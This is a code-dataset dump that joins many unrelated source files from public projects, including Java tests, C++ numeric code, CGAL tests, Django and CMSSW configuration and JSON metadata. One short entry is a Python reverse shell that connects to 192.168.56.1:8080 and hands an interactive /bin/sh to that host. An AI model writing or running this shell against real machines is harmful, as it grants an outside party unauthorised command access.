.build(); assertEquals(test1, test1Dup); assertNotEquals(test1, test3); assertNotEquals(test1, test2); assertEquals(Set.of(test1, test2, test3), Stream.of(test1, test2, test3, test1Dup).collect(Collectors.toSet())); } }
2,570
1,026
''' NOTE: Sigh. it's nice to be able to define the tests next to the source code (so it serves as documentation). However, if you run 'pytest --pyargs my.core', it detects 'core' package name (because there is no my/__init__.py) (see https://docs.pytest.org/en/latest/goodpractices.html#tests-as-part-of-application-code) This results in relative imports failing (e.g. from ..kython import...). By using this helper file, pytest can detect the package name properly. A bit meh, but perhaps after kython is moved into the core, we can run against the tests in my.core directly. ''' from my.core.cfg import * from my.core.common import * from my.core.core_config import * from my.core.error import * from my.core.util import * from my.core.discovery_pure import * from my.core.freezer import * from my.core.stats import * from my.core.query import * from my.core.query_range import * from my.core.serialize import test_serialize_fallback from my.core.sqlite import * from my.core.__main__ import *
396
5,169
{ "name": "SPModel", "version": "0.0.1", "summary": "Persist your models to sqlite, without configuration and sql queries", "description": "SPModel will save you time by creating database and generating basic sql's automatically.", "homepage": "https://github.com/metinn/SPModel", "license": { "type": "MIT", "file": "LICENSE" }, "authors": { "<NAME>": "<EMAIL>" }, "source": { "git": "https://github.com/metinn/SPModel.git", "tag": "0.0.1" }, "platforms": { "ios": "8.0" }, "source_files": "src/**/*", "dependencies": { "FMDB": [ "~> 2.7" ] } }
254
418
<filename>examples/cordic_fixed-top.cpp<gh_stars>100-1000 /* This is traditional CORDIC computation of sine and cosine. The current code is based on [FXT: cordic-circ-demo.cc] Correctly calculates cos and sine between 0-90 degrees (0-100). INPUT: double theta: Input angle long n: Number of iterations. OUTPUT: double &s: Reference to the sine part double &c: Reference to the cos part error_sin= [abs(s-zs)/zs]*100; error_cos= [abs(c-zc)/zc]*100; Total_Error_Sin = sum(error_sin) Total_error_Cos = sum(error_cos) */ #include <math.h> #include"cordic.h" #include <stdio.h> #include <stdlib.h> using namespace std; //#define M_PI 3.1415926536897932384626 double abs_double(double var){ if ( var < 0) var = -var; return var; } int main(int argc, char **argv) { FILE *fp; COS_SIN_TYPE s; //sine COS_SIN_TYPE c; //cos THETA_TYPE radian; //radian versuin of degree //zs=sin, zc=cos using math.h in VivadoHLS double zs, zc; // sine and cos values calculated from math. //Error checking double Total_Error_Sin=0.0; double Total_error_Cos=0.0; double error_sin=0.0, error_cos=0.0; fp=fopen("out.dat","w"); for(int i=1;i<NUM_DEGREE;i++) { radian = i*M_PI/180; cordic(radian, s, c); zs = sin((double)radian); zc = cos((double)radian); error_sin=(abs_double((double)s-zs)/zs)*100.0; error_cos=(abs_double((double)c-zc)/zc)*100.0; Total_Error_Sin=Total_Error_Sin+error_sin; Total_error_Cos=Total_error_Cos+error_cos; fprintf(fp, "degree=%d, radian=%f, cos=%f, sin=%f\n", i, (double)radian, (double)c, (double)s); } fclose(fp); printf ("Total_Error_Sin=%f, Total_error_Cos=%f, \n", Total_Error_Sin, Total_error_Cos); return 0; }
836
340
<gh_stars>100-1000 #!/usr/bin/env python import socket,subprocess,os; LHOST = '192.168.56.1' LPORT = 8080 def main(): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((LHOST,LPORT)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]); if __name__ == '__main__': main()
185
435
{ "alias": "video/995/a-python-on-the-couch", "category": "PyCon AU 2011", "copyright_text": "Creative Commons Attribution license", "description": "", "duration": null, "id": 995, "language": "eng", "quality_notes": "", "recorded": "2011-08-22", "related_urls": [ "http://couchdb.apache.org/)" ], "slug": "a-python-on-the-couch", "speakers": [ "<NAME>" ], "summary": "CouchDB &nbsp\\_place\\_holder;(http://couchdb.apache.org/) is an open\nsource, document-oriented NoSQL Database Management Server.It supports\nqueries via views using MapReduce, and replication. The talk will give\nan overview of CouchDB followed by how to access and manipulate using\nPython. There are a number of python libraries for accessing couchdb and\nthese will be quickly discussed followed by &nbsp\\_place\\_holder;how to\nuse one of these libs with a Python web framework.\n", "tags": [ "couchdb", "database", "nosql", "web" ], "thumbnail_url": "https://i.ytimg.com/vi/RNXjflpOs88/hqdefault.jpg", "title": "A Python on the Couch", "videos": [ { "length": 0, "type": "youtube", "url": "https://www.youtube.com/watch?v=RNXjflpOs88" } ] }
458
1,615
<gh_stars>1000+ /** * Created by MomoLuaNative. * Copyright (c) 2019, Momo Group. All rights reserved. * * This source code is licensed under the MIT. * For the full copyright and license information,please view the LICENSE file in the root directory of this source tree. */ package com.immomo.mls.fun.lt; import com.immomo.mls.LuaViewManager; import com.immomo.mls.MLSConfigs; import com.immomo.mls.annotation.LuaBridge; import com.immomo.mls.annotation.LuaClass; import org.luaj.vm2.Globals; import org.luaj.vm2.LuaValue; /** * Created by zhang.ke * 圆角全局管理器、辅助圆角切割,默认为:false,不做辅助 * <p> * 圆角 与 子View越界绘制 合并方案 * <p> * 前提:clipTobounds()默认效果: * Android为true:切割子View * IOS为false :不切子View * <p> * <p> * 1. setCornerRadiusWithDirection() * 两端统一 :采用图层切割。 * 不受 clipToBounds 和 CornerManager 影响。 * 所有情况下,都切圆角、切子View * <p> * <p> * 2. cornerRadius() * 两端统一 : 默认不切圆角 * 主动调clipTobounds(true): 切割圆角、切割子View * 主动调clipTobounds(false): 不切圆角、不切子View * <p> * <p> * CornerManager() 参数含义: * true:有圆角时,会帮所有View调用clipTobounds(true)(效果:切割圆角、切割子View) * (默认)false:不做任何操作 * <p> * PS:因为Android默认:clipTobounds(true),两端有差异。 * 因此,Android的逻辑,有所改动: * a、CornerManager(false):无论有无圆角,默认不切割圆角区域 * b、CornerManager(true):有圆角时,切割圆角 * 无圆角时,不走切割 * c、主动调用clipTobounds(true):视为,强制切割圆角 * d、主动调用clipTobounds(false): 视为,强制不切割圆角 * on 2019/10/28 */ @LuaClass public class SICornerRadiusManager { public static final String LUA_CLASS_NAME = "CornerManager"; private final Globals globals; public SICornerRadiusManager(Globals globals, LuaValue[] init) { this.globals = globals; } public void __onLuaGc() { } /** * 此方法,只能在lua项目开始时设置。不能动态更改 * * @param open 开启圆角辅助 */ @LuaBridge public void openDefaultClip(boolean open) { LuaViewManager m = (LuaViewManager) globals.getJavaUserdata(); if (m != null) { m.setDefaltCornerClip(open); } } }
1,289
439
// test022.cpp - generate new document by cell, no row labels #include <rapidcsv.h> #include "unittest.h" int main() { int rv = 0; std::string csvref = "A,B,C\n" "3,9,81\n" "4,16,256\n" ; std::string path = unittest::TempPath(); try { rapidcsv::Document doc("", rapidcsv::LabelParams(), rapidcsv::SeparatorParams(',', false, false)); doc.SetCell<int>(0, 0, 3); doc.SetCell<int>(1, 0, 9); doc.SetCell<int>(2, 0, 81); doc.SetCell<int>(0, 1, 4); doc.SetCell<int>(1, 1, 16); doc.SetCell<int>(2, 1, 256); doc.SetColumnName(0, "A"); doc.SetColumnName(1, "B"); doc.SetColumnName(2, "C"); doc.Save(path); std::string csvread = unittest::ReadFile(path); unittest::ExpectEqual(std::string, csvref, csvread); } catch (const std::exception& ex) { std::cout << ex.what() << std::endl; rv = 1; } unittest::DeleteFile(path); return rv; }
426
843
<filename>src/olympia/stats/migrations/0002_beta_stats_flag.py # Generated by Django 2.2.12 on 2020-06-05 11:21 from django.db import migrations def create_waffle_flag(apps, schema_editor): Flag = apps.get_model('waffle', 'Flag') Flag.objects.create( name='beta-stats', rollout=True, percent=0, note='Enable access to the beta statistics', ) class Migration(migrations.Migration): dependencies = [('stats', '0001_initial')] operations = [migrations.RunPython(create_waffle_flag)]
208
411
<reponame>zhizhangxian/sssegmentation '''initialize''' from .builder import BuildParallelModel, BuildParallelDataloader
39
9,959
<reponame>PrzemyslawMalinowski-epm/sample-repo-git-flow /* * These are stub versions of various bits of javac-internal API (for various different versions of javac). Lombok is compiled against these. */ package com.sun.tools.javadoc; import java.nio.CharBuffer; import com.sun.tools.javac.parser.Scanner; import com.sun.tools.javac.util.Context; public class DocCommentScanner extends Scanner { protected DocCommentScanner(com.sun.tools.javadoc.DocCommentScanner.Factory fac, CharBuffer buffer) { super(fac, buffer); } protected DocCommentScanner(com.sun.tools.javadoc.DocCommentScanner.Factory fac, char[] input, int inputLength) { super(fac, input, inputLength); } public static class Factory extends Scanner.Factory { protected Factory(Context context) { super(context); } } }
271
2,230
/** * Copyright (c) 2017-present, Facebook, Inc. * All rights reserved. * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. */ #include <fstream> #include <chrono> #include "go_state.h" #include "board_feature.h" static std::vector<std::string> split(const std::string &s, char delim) { std::stringstream ss(s); std::string item; std::vector<std::string> elems; while (getline(ss, item, delim)) { elems.push_back(std::move(item)); } return elems; } static Coord s2c(const string &s) { int row = s[0] - 'A'; if (row >= 9) row --; int col = stoi(s.substr(1)) - 1; return GetCoord(row, col); } HandicapTable::HandicapTable() { // darkforestGo/cnnPlayerV2/cnnPlayerV2Framework.lua // Handicap according to the number of stones. const map<int, string> handicap_table = { {2, "D4 Q16"}, {3, "D4 Q16 Q4"}, {4, "D4 Q16 D16 Q4"}, {5, "*4 K10"}, {6, "*4 D10 Q10"}, {7, "*4 D10 Q10 K10"}, {8, "*4 D10 Q10 K16 K4"}, {9, "*8 K10"}, // {13, "*9 G13 O13 G7 O7", "*9 C3 R3 C17 R17" }, }; for (const auto &pair : handicap_table) { _handicaps.insert(make_pair(pair.first, vector<Coord>())); for (const auto &s : split(pair.second, ' ')) { if (s[0] == '*') { const int prev_handi = stoi(s.substr(1)); auto it = _handicaps.find(prev_handi); if (it != _handicaps.end()) { _handicaps[pair.first] = it->second; } } _handicaps[pair.first].push_back(s2c(s)); } } } void HandicapTable::Apply(int handi, Board *board) const { if (handi > 0) { auto it = _handicaps.find(handi); if (it != _handicaps.end()) { for (const auto& ha : it->second) { PlaceHandicap(board, X(ha), Y(ha), S_BLACK); } } } } ///////////// GoState //////////////////// bool GoState::forward(const Coord &c) { GroupId4 ids; if (! TryPlay2(&_board, c, &ids)) return false; Play(&_board, &ids); return true; } bool GoState::CheckMove(const Coord &c) const { GroupId4 ids; return TryPlay2(&_board, c, &ids); } void GoState::ApplyHandicap(int handi) { _handi_table.Apply(handi, &_board); } void GoState::Reset() { ClearBoard(&_board); } HandicapTable GoState::_handi_table;
1,200
1,511
* \ingroup popt */ /* (C) 1998-2000 Red Hat, Inc. -- Licensing details are in the COPYING file accompanying popt source distributions, available from ftp://ftp.rpm.org/pub/rpm/dist. */
64
3,227
// Synopsis: Testsuite of package Approximate_min_ellipsoid_d // // Revision: $Id$ // $Date$ // // Author: <NAME> <<EMAIL>> (ETH Zurich) #include <cstdlib> #include <cmath> #include <vector> #include <iostream> #include <string> #include <CGAL/Cartesian.h> #include <CGAL/Cartesian_d.h> #include <CGAL/point_generators_d.h> #include <CGAL/MP_Float.h> #include <CGAL/algorithm.h> #include <CGAL/Approximate_min_ellipsoid_d.h> #include <CGAL/Approximate_min_ellipsoid_d_traits_2.h> #include <CGAL/Approximate_min_ellipsoid_d_traits_3.h> #include <CGAL/Approximate_min_ellipsoid_d_traits_d.h> template <typename T> std::string tostr(const T& t) { std::stringstream strm; strm << t; return strm.str(); } template <typename T> T fromstr(const std::string& s) { std::stringstream strm(s); T t; strm >> t; return t; } typedef CGAL::MP_Float ET; typedef CGAL::Cartesian<double> K_2; typedef CGAL::Approximate_min_ellipsoid_d_traits_2<K_2, ET> T_2; typedef CGAL::Cartesian<double> K_3; typedef CGAL::Approximate_min_ellipsoid_d_traits_3<K_3, ET> T_3; typedef CGAL::Cartesian_d<double> K_d; typedef CGAL::Approximate_min_ellipsoid_d_traits_d<K_d, ET> T_d; void check(bool expr, const std::string& msg) { if (!expr) { std::cerr << "\n" << msg << ": failed\n"; std::exit(-1); } } struct TwoD {}; struct ThreeD {}; struct DD {}; template<typename Kernel,typename Point_list> void add_random_points(int n, int d, int multiplicity, Point_list& list, const DD&) // Adds n random d-dimensional points to the given list. { typedef typename Point_list::value_type Point; CGAL::Random_points_in_cube_d<Point> rpg(d,100.0); for (int i = 0; i < n; ++i) { for (int j = 0; j < multiplicity; ++j) list.push_back(*rpg); ++rpg; } } template<typename Kernel,typename Point_list> void add_random_points(int n, int d, int multiplicity, Point_list& list, const TwoD&) // Adds n random d-dimensional points to the given list. { typedef typename Point_list::value_type Point; typedef CGAL::Point_d<K_d> Point_d; CGAL::Random_points_in_cube_d<Point_d> rpg(d,100.0); for (int i = 0; i < n; ++i) { for (int j = 0; j < multiplicity; ++j) { Point_d p = *rpg; list.push_back(Point(*p.cartesian_begin(),*(p.cartesian_begin()+1))); } ++rpg; } } template<typename Kernel,typename Point_list> void add_random_points(int n, int d, int multiplicity, Point_list& list, const ThreeD&) // Adds n random d-dimensional points to the given list. { typedef typename Point_list::value_type Point; typedef CGAL::Point_d<K_d> Point_d; CGAL::Random_points_in_cube_d<Point_d> rpg(d,100.0); for (int i = 0; i < n; ++i) { for (int j = 0; j < multiplicity; ++j) { Point_d p = *rpg; list.push_back(Point(*p.cartesian_begin(), *(p.cartesian_begin()+1), *(p.cartesian_begin()+2))); } ++rpg; } } template<typename Kernel> struct is_d_dimensional { typedef DD value; }; template<> struct is_d_dimensional<T_2> { typedef TwoD value; }; template<> struct is_d_dimensional<T_3> { typedef ThreeD value; }; int id = 0; // used to count files, see simple_test() below template<typename Kernel, typename Traits> void simple_test(int n, int d, int multiplicity, double eps) // Computes (1+eps)-approximations of MEL(P) for n random points in R^d. { typedef typename Traits::Point Point; typedef std::vector<Point> Point_list; typedef CGAL::Approximate_min_ellipsoid_d<Traits> Mel; std::cerr << "n=" << n << ", d=" << d << ", mult=" << multiplicity << ", eps=" << eps; // generate points Point_list P; typedef typename is_d_dimensional<Traits>::value is_d; add_random_points<Kernel>(n, d, multiplicity, P, is_d()); CGAL::cpp98::random_shuffle(P.begin(), P.end()); // compute minellipsoid: Traits tco; Mel mel(eps, P.begin(), P.end(), tco); // check validity check(mel.is_valid(true), "validity"); // find center: if (mel.is_full_dimensional()) { mel.center_cartesian_begin(); // (Note: forces center to be computed.) if (d == 2 || d == 3) mel.axes_lengths_begin(); // (Note: forces axes to be computed.) } // query bool is_fd = mel.is_full_dimensional(); check(!mel.is_empty() || !is_fd, "empty but full-dimensional"); if (is_fd) { // call all accessors mel.achieved_epsilon(); for (int i=0; i<d; ++i) { mel.defining_vector(i); for (int j=0; j<d; ++j) mel.defining_matrix(i,j); } mel.defining_scalar(); std::cerr << ", achieved_eps=" << mel.achieved_epsilon(); if (mel.achieved_epsilon() > eps) std::cerr << " (desired eps not achieved)"; // write EPS if (d == 2) { mel.write_eps(tostr(id)+".eps"); std::cerr << " (file " << id << ")"; ++id; } } std::cerr << std::endl; } void test(int n, int multiplicity) { // 2d simple_test<K_d,T_d>(n, 2, multiplicity, 0.5); simple_test<K_d,T_d>(n, 2, multiplicity, 0.1); simple_test<K_d,T_d>(n, 2, multiplicity, 0.01); simple_test<K_d,T_d>(n, 2, multiplicity, 0.001); simple_test<K_2,T_2>(n, 2, multiplicity, 0.5); simple_test<K_2,T_2>(n, 2, multiplicity, 0.1); simple_test<K_2,T_2>(n, 2, multiplicity, 0.01); simple_test<K_2,T_2>(n, 2, multiplicity, 0.001); // 3d simple_test<K_d,T_d>(n, 3, multiplicity, 0.5); simple_test<K_d,T_d>(n, 3, multiplicity, 0.1); simple_test<K_d,T_d>(n, 3, multiplicity, 0.01); simple_test<K_d,T_d>(n, 3, multiplicity, 0.001); simple_test<K_3,T_3>(n, 3, multiplicity, 0.5); simple_test<K_3,T_3>(n, 3, multiplicity, 0.1); simple_test<K_3,T_3>(n, 3, multiplicity, 0.01); simple_test<K_3,T_3>(n, 3, multiplicity, 0.001); // 5d simple_test<K_d,T_d>(n, 5, multiplicity, 0.5); simple_test<K_d,T_d>(n, 5, multiplicity, 0.1); simple_test<K_d,T_d>(n, 5, multiplicity, 0.01); } int main() { // multiplicity 1 test(1, 1); test(2, 1); test(5, 1); test(100, 1); // multiplicity 2 test(1, 2); test(2, 2); test(100, 2); // high multiplicity test(2, 2); test(10, 10); test(100,10); }
2,962
8,027
/* * Copyright (c) Facebook, Inc. and its affiliates. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.facebook.buck.jvm.java.lang.model; import com.facebook.buck.util.liteinfersupport.Nullable; import java.util.List; import javax.lang.model.element.AnnotationMirror; import javax.lang.model.element.AnnotationValue; import javax.lang.model.element.VariableElement; import javax.lang.model.type.TypeMirror; import javax.lang.model.util.AbstractAnnotationValueVisitor8; public class AnnotationValueScanner8<R, P> extends AbstractAnnotationValueVisitor8<R, P> { @Nullable private final R defaultValue; protected AnnotationValueScanner8() { this(null); } protected AnnotationValueScanner8(@Nullable R defaultValue) { this.defaultValue = defaultValue; } @Nullable public final R scan(Iterable<? extends AnnotationValue> iterable, P p) { R result = defaultValue; for (AnnotationValue value : iterable) { result = scan(value, p); } return result; } public R scan(AnnotationValue value, P p) { return value.accept(this, p); } public final R scan(AnnotationValue value) { return value.accept(this, null); } @Override @Nullable public R visitBoolean(boolean b, P p) { return defaultValue; } @Override @Nullable public R visitByte(byte b, P p) { return defaultValue; } @Override @Nullable public R visitChar(char c, P p) { return defaultValue; } @Override @Nullable public R visitDouble(double d, P p) { return defaultValue; } @Override @Nullable public R visitFloat(float f, P p) { return defaultValue; } @Override @Nullable public R visitInt(int i, P p) { return defaultValue; } @Override @Nullable public R visitLong(long i, P p) { return defaultValue; } @Override @Nullable public R visitShort(short s, P p) { return defaultValue; } @Override @Nullable public R visitString(String s, P p) { return defaultValue; } @Override @Nullable public R visitType(TypeMirror t, P p) { return defaultValue; } @Override @Nullable public R visitEnumConstant(VariableElement c, P p) { return defaultValue; } @Override @Nullable public R visitAnnotation(AnnotationMirror a, P p) { return scan(a.getElementValues().values(), p); } @Override @Nullable public R visitArray(List<? extends AnnotationValue> vals, P p) { return scan(vals, p); } @Override @Nullable public R visitUnknown(AnnotationValue av, P p) { return defaultValue; } }
1,037
72,551
<reponame>gandhi56/swift int fooHelperExplicitFunc(int a);
25
2,542
from typing import List from thinc.shims.shim import Shim from ..util import make_tempdir class MockShim(Shim): def __init__(self, data: List[int]): super().__init__(None, config=None, optimizer=None) self.data = data def to_bytes(self): return bytes(self.data) def from_bytes(self, data: bytes) -> "MockShim": return MockShim(data=list(data)) def test_shim_can_roundtrip_with_path(): with make_tempdir() as path: shim_path = path / "cool_shim.data" shim = MockShim([1, 2, 3]) shim.to_disk(shim_path) copy_shim = shim.from_disk(shim_path) assert copy_shim.to_bytes() == shim.to_bytes() def test_shim_can_roundtrip_with_path_subclass(pathy_fixture): shim_path = pathy_fixture / "cool_shim.data" shim = MockShim([1, 2, 3]) shim.to_disk(shim_path) copy_shim = shim.from_disk(shim_path) assert copy_shim.to_bytes() == shim.to_bytes()
424
348
<reponame>chamberone/Leaflet.PixiOverlay {"nom":"Breteuil","circ":"1ère circonscription","dpt":"Oise","inscrits":3123,"abs":1872,"votants":1251,"blancs":52,"nuls":27,"exp":1172,"res":[{"nuance":"LR","nom":"M. <NAME>","voix":864},{"nuance":"REM","nom":"<NAME>","voix":308}]}
113
11,356
/* * Node.cpp * * Created on: 8 Apr 2013 * Author: s0965328 */ #include "Node.h" namespace AutoDiff { unsigned int Node::DEFAULT_INDEX = 0; Node::Node():index(Node::DEFAULT_INDEX),n_in_arcs(0){ } Node::~Node() { } void Node::hess_reverse_0_init_n_in_arcs() { n_in_arcs++; // cout<<this->toString(0)<<endl; } void Node::hess_reverse_1_clear_index() { index = Node::DEFAULT_INDEX; } }
183
2,206
/* * ****************************************************************************** * * * * * * This program and the accompanying materials are made available under the * * terms of the Apache License, Version 2.0 which is available at * * https://www.apache.org/licenses/LICENSE-2.0. * * * * See the NOTICE file distributed with this work for additional * * information regarding copyright ownership. * * Unless required by applicable law or agreed to in writing, software * * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * * License for the specific language governing permissions and limitations * * under the License. * * * * SPDX-License-Identifier: Apache-2.0 * ***************************************************************************** */ package org.deeplearning4j.earlystopping.scorecalc; import org.deeplearning4j.nn.api.Model; import org.nd4j.shade.jackson.annotation.JsonInclude; import org.nd4j.shade.jackson.annotation.JsonSubTypes; import org.nd4j.shade.jackson.annotation.JsonTypeInfo; import java.io.Serializable; @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.PROPERTY, property = "@class") @JsonInclude(JsonInclude.Include.NON_NULL) @JsonSubTypes(value = { @JsonSubTypes.Type(value = DataSetLossCalculator.class, name = "BestScoreEpochTerminationCondition"), @JsonSubTypes.Type(value = DataSetLossCalculatorCG.class, name = "MaxEpochsTerminationCondition"), }) public interface ScoreCalculator<T extends Model> extends Serializable { /** Calculate the score for the given MultiLayerNetwork */ double calculateScore(T network); /** * @return If true: the score should be minimized. If false: the score should be maximized. */ boolean minimizeScore(); }
577
852
import FWCore.ParameterSet.Config as cms idealGeometryRecord = cms.ESSource("EmptyESSource", recordName = cms.string('IdealGeometryRecord'), iovIsRunNotTime = cms.bool(True), firstValid = cms.vuint32(1) ) from CondCore.DBCommon.CondDBCommon_cfi import * PoolDBESSource = cms.ESSource("PoolDBESSource", CondDBCommon, loadAll = cms.bool(True), toGet = cms.VPSet( cms.PSet( record = cms.string('PEcalBarrelRcd' ), tag = cms.string('EBRECO_Geometry_Test01')), cms.PSet( record = cms.string('PEcalEndcapRcd' ), tag = cms.string('EERECO_Geometry_Test01')), cms.PSet( record = cms.string('PEcalPreshowerRcd'), tag = cms.string('EPRECO_Geometry_Test01')), cms.PSet( record = cms.string('PHcalRcd' ), tag = cms.string('HCALRECO_Geometry_Test01')), cms.PSet( record = cms.string('PCaloTowerRcd' ), tag = cms.string('CTRECO_Geometry_Test01')), cms.PSet( record = cms.string('PZdcRcd' ), tag = cms.string('ZDCRECO_Geometry_Test01')), cms.PSet( record = cms.string('PCastorRcd' ), tag = cms.string('CASTORRECO_Geometry_Test01')) ), BlobStreamerName = cms.untracked.string('TBufferBlobStreamingService'), timetype = cms.untracked.string('runnumber') ) PoolDBESSource.connect = cms.string('sqlite_file:calofile.db')
956
1,686
// Copyright (c) 2012 The Chromium Embedded Framework Authors. All rights // reserved. Use of this source code is governed by a BSD-style license that // can be found in the LICENSE file. #ifndef CEF_LIBCEF_BROWSER_XML_READER_IMPL_H_ #define CEF_LIBCEF_BROWSER_XML_READER_IMPL_H_ #pragma once #include <libxml/xmlreader.h> #include <sstream> #include "base/threading/platform_thread.h" #include "include/cef_xml_reader.h" // Implementation of CefXmlReader class CefXmlReaderImpl : public CefXmlReader { public: CefXmlReaderImpl(); ~CefXmlReaderImpl() override; // Initialize the reader context. bool Initialize(CefRefPtr<CefStreamReader> stream, EncodingType encodingType, const CefString& URI); bool MoveToNextNode() override; bool Close() override; bool HasError() override; CefString GetError() override; NodeType GetType() override; int GetDepth() override; CefString GetLocalName() override; CefString GetPrefix() override; CefString GetQualifiedName() override; CefString GetNamespaceURI() override; CefString GetBaseURI() override; CefString GetXmlLang() override; bool IsEmptyElement() override; bool HasValue() override; CefString GetValue() override; bool HasAttributes() override; size_t GetAttributeCount() override; CefString GetAttribute(int index) override; CefString GetAttribute(const CefString& qualifiedName) override; CefString GetAttribute(const CefString& localName, const CefString& namespaceURI) override; CefString GetInnerXml() override; CefString GetOuterXml() override; int GetLineNumber() override; bool MoveToAttribute(int index) override; bool MoveToAttribute(const CefString& qualifiedName) override; bool MoveToAttribute(const CefString& localName, const CefString& namespaceURI) override; bool MoveToFirstAttribute() override; bool MoveToNextAttribute() override; bool MoveToCarryingElement() override; // Add another line to the error string. void AppendError(const CefString& error_str); // Verify that the reader exists and is being accessed from the correct // thread. bool VerifyContext(); protected: base::PlatformThreadId supported_thread_id_; CefRefPtr<CefStreamReader> stream_; xmlTextReaderPtr reader_; std::stringstream error_buf_; IMPLEMENT_REFCOUNTING(CefXmlReaderImpl); }; #endif // CEF_LIBCEF_BROWSER_XML_READER_IMPL_H_
830
1,682
/* Copyright (c) 2013 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package com.linkedin.d2.balancer.properties; import java.util.Map; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * Validates values for configs provided by the clients * * @author <NAME> */ public class ClientServiceConfigValidator { private static final Logger _log = LoggerFactory.getLogger(ClientServiceConfigValidator.class); public static boolean isValidValue(Map<String, Object> serviceSuppliedConfig, Map<String, Object> clientSuppliedServiceConfig, String propertyName) { // prevent clients from violating SLAs as published by the service if (propertyName.equals(PropertyKeys.HTTP_REQUEST_TIMEOUT)) { String clientSuppliedTimeout = (String)clientSuppliedServiceConfig.get(propertyName); String serviceSuppliedTimeout = (String)serviceSuppliedConfig.get(propertyName); try { return Integer.parseInt(clientSuppliedTimeout) >= Integer.parseInt(serviceSuppliedTimeout); } catch (NumberFormatException e) { _log.error("Failed to convert HTTP Request Timeout to an int. clientSuppliedTimeout is " + clientSuppliedTimeout + ". serviceSuppliedTimeout is " + serviceSuppliedTimeout, e); return false; } } return true; } }
661
631
<reponame>Ar-2/activejdbc package app.controllers.api; import org.javalite.activeweb.AppController; public class ApiHomeController extends AppController { public void index() { respond("home"); } }
77
348
{"nom":"<NAME>","circ":"3ème circonscription","dpt":"Pyrénées-Orientales","inscrits":708,"abs":427,"votants":281,"blancs":21,"nuls":17,"exp":243,"res":[{"nuance":"REM","nom":"<NAME>","voix":166},{"nuance":"FN","nom":"<NAME>","voix":77}]}
95
2,690
#include "tommath_private.h" #ifdef MP_PACK_COUNT_C /* LibTomMath, multiple-precision integer library -- <NAME> */ /* SPDX-License-Identifier: Unlicense */ size_t mp_pack_count(const mp_int *a, size_t nails, size_t size) { size_t bits = (size_t)mp_count_bits(a); return ((bits / ((size * 8u) - nails)) + (((bits % ((size * 8u) - nails)) != 0u) ? 1u : 0u)); } #endif
153
940
<reponame>jvernet/macemu /* * mathlib.hpp - Math library wrapper * * Kheperix (C) 2003-2005 <NAME> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifndef MATHLIB_H #define MATHLIB_H #include <math.h> #include "mathlib/ieeefp.hpp" // Broken MacOS X headers #if defined(__APPLE__) && defined(__MACH__) // ... the following exist but are not macro-defined ... #ifndef FP_NAN #define FP_NAN FP_NAN #define FP_INFINITE FP_INFINITE #define FP_ZERO FP_ZERO #define FP_NORMAL FP_NORMAL #define FP_SUBNORMAL FP_SUBNORMAL #endif #endif // GCC fixes for IRIX/mips #if defined __GNUC__ && defined __sgi__ && defined __mips__ #define mathlib_generic_1(func, x) \ (sizeof(x) == sizeof(float) ? _##func##f(x) : _##func(x)) #define fpclassify(x) mathlib_generic_1(fpclassify, x) #define isnormal(x) mathlib_generic_1(isnormal, x) #define isfinite(x) mathlib_generic_1(isfinite, x) #define isnan(x) mathlib_generic_1(isnan, x) #define isinf(x) mathlib_generic_1(isinf, x) #define signbit(x) mathlib_generic_1(signbit, x) #define mathlib_generic_2(func, x, y) \ ((sizeof(x) == sizeof(float) && sizeof(x) == sizeof(y)) ? _##func##f(x, y) : _##func(x, y)) #define isless(x,y) mathlib_generic_2(isless, x, y) #define isgreater(x,y) mathlib_generic_2(isgreater, x, y) #endif // C++ exception specifications #if defined __GLIBC__ && defined __THROW #define MATHLIB_THROW __THROW #else #define MATHLIB_THROW #endif // 7.12 Mathematics <math.h> [#6] #ifndef FP_NAN enum { FP_NAN, # define FP_NAN FP_NAN FP_INFINITE, # define FP_INFINITE FP_INFINITE FP_ZERO, # define FP_ZERO FP_ZERO FP_SUBNORMAL, # define FP_SUBNORMAL FP_SUBNORMAL FP_NORMAL # define FP_NORMAL FP_NORMAL }; #endif // Arch-dependent definitions #if defined(__i386__) #include "mathlib/mathlib-i386.hpp" #endif #if defined(__x86_64__) #include "mathlib/mathlib-x86_64.hpp" #endif #if defined(__powerpc__) || defined(__ppc__) #include "mathlib/mathlib-ppc.hpp" #endif // Floating-Point Multiply Add/Subtract functions #if (SIZEOF_LONG_DOUBLE > SIZEOF_DOUBLE) && (SIZEOF_DOUBLE > SIZEOF_FLOAT) // FIXME: this is wrong for underflow conditions #ifndef mathlib_fmadd static inline double mathlib_fmadd(double x, double y, double z) { return ((long double)x * (long double)y) + z; } static inline float mathlib_fmadd(float x, float y, float z) { return ((double)x * (double)y) + z; } #define mathlib_fmadd(x, y, z) (mathlib_fmadd)(x, y, z) #endif #ifndef mathlib_fmsub static inline double mathlib_fmsub(double x, double y, double z) { return ((long double)x * (long double)y) - z; } static inline float mathlib_fmsub(float x, float y, float z) { return ((double)x * (double)y) - z; } #define mathlib_fmsub(x, y, z) (mathlib_fmsub)(x, y, z) #endif #endif #ifndef 